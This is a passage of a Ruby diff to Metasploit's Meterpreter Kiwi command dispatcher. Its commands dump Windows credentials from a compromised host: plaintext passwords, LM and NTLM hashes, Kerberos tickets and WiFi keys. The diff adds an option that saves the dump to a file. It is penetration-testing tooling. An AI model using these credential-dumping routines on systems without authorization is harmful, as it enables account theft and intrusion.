  @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
250
249
  case opt
251
- when "-e"
250
+ when '-e'
252
251
  export = true
253
- when "-p"
252
+ when '-p'
254
253
  export_path = val
255
254
  end
256
255
  }
@@ -261,7 +260,7 @@ class Console::CommandDispatcher::Kiwi
261
260
  fields << 'Export Path' if export
262
261
 
263
262
  table = Rex::Ui::Text::Table.new(
264
- 'Header' => "Kerberos Tickets",
263
+ 'Header' => 'Kerberos Tickets',
265
264
  'Indent' => 0,
266
265
  'SortIndex' => 0,
267
266
  'Columns' => fields
@@ -280,7 +279,7 @@ class Console::CommandDispatcher::Kiwi
280
279
 
281
280
  # write out each ticket to disk if export is enabled.
282
281
  if export
283
- path = "<no data retrieved>"
282
+ path = '<no data retrieved>'
284
283
  if t[:raw]
285
284
  id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
286
285
  file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
@@ -305,7 +304,7 @@ class Console::CommandDispatcher::Kiwi
305
304
  #
306
305
  def cmd_kerberos_ticket_purge(*args)
307
306
  client.kiwi.kerberos_ticket_purge
308
- print_good("Kerberos tickets purged")
307
+ print_good('Kerberos tickets purged')
309
308
  end
310
309
 
311
310
  #
@@ -313,7 +312,7 @@ class Console::CommandDispatcher::Kiwi
313
312
  #
314
313
  def cmd_kerberos_ticket_use(*args)
315
314
  if args.length != 1
316
- print_line("Usage: kerberos_ticket_use ticketpath")
315
+ print_line('Usage: kerberos_ticket_use ticketpath')
317
316
  return
318
317
  end
319
318
 
@@ -325,25 +324,13 @@ class Console::CommandDispatcher::Kiwi
325
324
 
326
325
  print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
327
326
  client.kiwi.kerberos_ticket_use(ticket)
328
- print_good("Kerberos ticket applied successfully")
329
- end
330
-
331
- def wifi_list_usage
332
- print(
333
- "\nUsage: wifi_list\n\n" +
334
- "List WiFi interfaces, profiles and passwords.\n\n")
327
+ print_good('Kerberos ticket applied successfully')
335
328
  end
336
329
 
337
330
  #
338
331
  # Dump all the wifi profiles/credentials
339
332
  #
340
333
  def cmd_wifi_list(*args)
341
- # if any arguments are specified, then fire up a usage message
342
- if args.length > 0
343
- wifi_list_usage
344
- return
345
- end
346
-
347
334
  results = client.kiwi.wifi_list
348
335
 
349
336
  if results.length > 0
@@ -362,24 +349,39 @@ class Console::CommandDispatcher::Kiwi
362
349
  table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
363
350
  end
364
351
 
365
- print_line table.to_s
366
- print_line "State: #{r[:state]}"
352
+ print_line(table.to_s)
353
+ print_line("State: #{r[:state]}")
367
354
  end
368
355
  else
369
356
  print_line
370
- print_error("No wireless profiles found on the target.")
357
+ print_error('No wireless profiles found on the target.')
371
358
  end
372
359
 
373
360
  print_line
374
361
  return true
375
362
  end
376
363
 
364
+ @@creds_opts = Rex::Parser::Arguments.new(
365
+ '-o' => [ true, 'Write the output to the specified file.' ],
366
+ '-h' => [ false, 'Help menu.' ]
367
+ )
368
+
369
+ #
370
+ # Displays information about the various creds commands
371
+ #
372
+ def cmd_creds_usage(provider)
373
+ print_line("Usage: creds_#{provider} [options]")
374
+ print_line
375
+ print_line("Dump #{provider} credentials.")
376
+ print_line(@@creds_opts.usage)
377
+ end
378
+
377
379
  #
378
380
  # Dump all the possible credentials to screen.
379
381
  #
380
382
  def cmd_creds_all(*args)
381
383
  method = Proc.new { client.kiwi.all_pass }
382
- scrape_passwords("all", method)
384
+ scrape_passwords('all', method, args)
383
385
  end
384
386
 
385
387
  #
@@ -387,7 +389,7 @@ class Console::CommandDispatcher::Kiwi
387
389
  #
388
390
  def cmd_creds_wdigest(*args)
389
391
  method = Proc.new { client.kiwi.wdigest }
390
- scrape_passwords("wdigest", method)
392
+ scrape_passwords('wdigest', method, args)
391
393
  end
392
394
 
393
395
  #
@@ -395,7 +397,7 @@ class Console::CommandDispatcher::Kiwi
395
397
  #
396
398
  def cmd_creds_msv(*args)
397
399
  method = Proc.new { client.kiwi.msv }
398
- scrape_passwords("msv", method)
400
+ scrape_passwords('msv', method, args)
399
401
  end
400
402
 
401
403
  #
@@ -403,7 +405,7 @@ class Console::CommandDispatcher::Kiwi
403
405
  #
404
406
  def cmd_creds_livessp(*args)
405
407
  method = Proc.new { client.kiwi.livessp }
406
- scrape_passwords("livessp", method)
408
+ scrape_passwords('livessp', method, args)
407
409
  end
408
410
 
409
411
  #
@@ -411,7 +413,7 @@ class Console::CommandDispatcher::Kiwi
411
413
  #
412
414
  def cmd_creds_ssp(*args)
413
415
  method = Proc.new { client.kiwi.ssp }
414
- scrape_passwords("ssp", method)
416
+ scrape_passwords('ssp', method, args)
415
417
  end
416
418
 
417
419
  #
@@ -419,7 +421,7 @@ class Console::CommandDispatcher::Kiwi
419
421
  #
420
422
  def cmd_creds_tspkg(*args)
421
423
  method = Proc.new { client.kiwi.tspkg }
422
- scrape_passwords("tspkg", method)
424
+ scrape_passwords('tspkg', method, args)
423
425
  end
424
426
 
425
427
  #
@@ -427,22 +429,22 @@ class Console::CommandDispatcher::Kiwi
427
429
  #
428
430
  def cmd_creds_kerberos(*args)
429
431
  method = Proc.new { client.kiwi.kerberos }
430
- scrape_passwords("kerberos", method)
432
+ scrape_passwords('kerberos', method, args)
431
433
  end
432
434
 
433
435
  protected
434
436
 
435
437
  def check_privs
436
438
  if system_check
437
- print_good("Running as SYSTEM")
439
+ print_good('Running as SYSTEM')
438
440
  else
439
- print_warning("Not running as SYSTEM, execution may fail")
441
+ print_warning('Not running as SYSTEM, execution may fail')
440
442
  end
441
443
  end
442
444
 
443
445
  def system_check
444
- unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
445
- print_warning("Not currently running as SYSTEM")
446
+ unless client.sys.config.is_system?
447
+ print_warning('Not currently running as SYSTEM')
446
448
  return false
447
449
  end
448
450
 
@@ -459,7 +461,12 @@ protected
459
461
  # Meterpreter that lay in the house that Jack built.
460
462
  #
461
463
  # @return [void]
462
- def scrape_passwords(provider, method)
464
+ def scrape_passwords(provider, method, args)
465
+ if args.include?('-h')
466
+ cmd_creds_usage(provider)
467
+ return
468
+ end
469
+
463
470
  check_privs
464
471
  print_status("Retrieving #{provider} credentials")
465
472
  accounts = method.call
@@ -468,24 +475,40 @@ protected
468
475
  'Header' => "#{provider} credentials",
469
476
  'Indent' => 0,
470
477
  'SortIndex' => 0,
471
- 'Columns' =>
472
- [
473
- 'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
478
+ 'Columns' => [
479
+ 'Domain', 'User', 'Password', 'LM Hash', 'NTLM Hash'
474
480
  ]
475
481
  )
476
482
 
477
483
  accounts.each do |acc|
478
484
  table << [
479
- acc[:domain] || "",
480
- acc[:username] || "",
481
- acc[:password] || "",
482
- "#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
483
- to_hex(acc[:lm] || ""),
484
- to_hex(acc[:ntlm] || "")
485
+ acc[:domain] || '',
486
+ acc[:username] || '',
487
+ acc[:password] || '',
488
+ to_hex(acc[:lm]),
489
+ to_hex(acc[:ntlm])
485
490
  ]
486
491
  end
487
492
 
488
- print_line table.to_s
493
+ output = table.to_s
494
+ print_line(output)
495
+
496
+ # determine if a target file path was passed in
497
+ file_index = args.index('-o')
498
+ unless file_index.nil?
499
+ if args.length > file_index + 1
500
+ # try to write the file to disk
501
+ begin
502
+ ::File.write(args[file_index + 1], output)
503
+ print_good("Output written to #{args[file_index + 1]}")
504
+ rescue
505
+ print_error("Unable to write to #{args[file_index + 1]}")
506
+ end
507
+ else
508
+ print_error('Missing file path for -o parameter')
509
+ end
510
+ end
511
+
489
512
  return true
490
513
  end
491
514
 
@@ -496,8 +519,7 @@ protected
496
519
  # @param (see Rex::Text.to_hex)
497
520
  # @return [String] The result of {Rex::Text.to_hex}, strip'd
498
521
  def to_hex(value, sep = '')
499
- value ||= ""
500
- Rex::Text.to_hex(value, sep).strip
522
+ Rex::Text.to_hex(value || '', sep).strip
501
523
  end
502
524
 
503
525
  end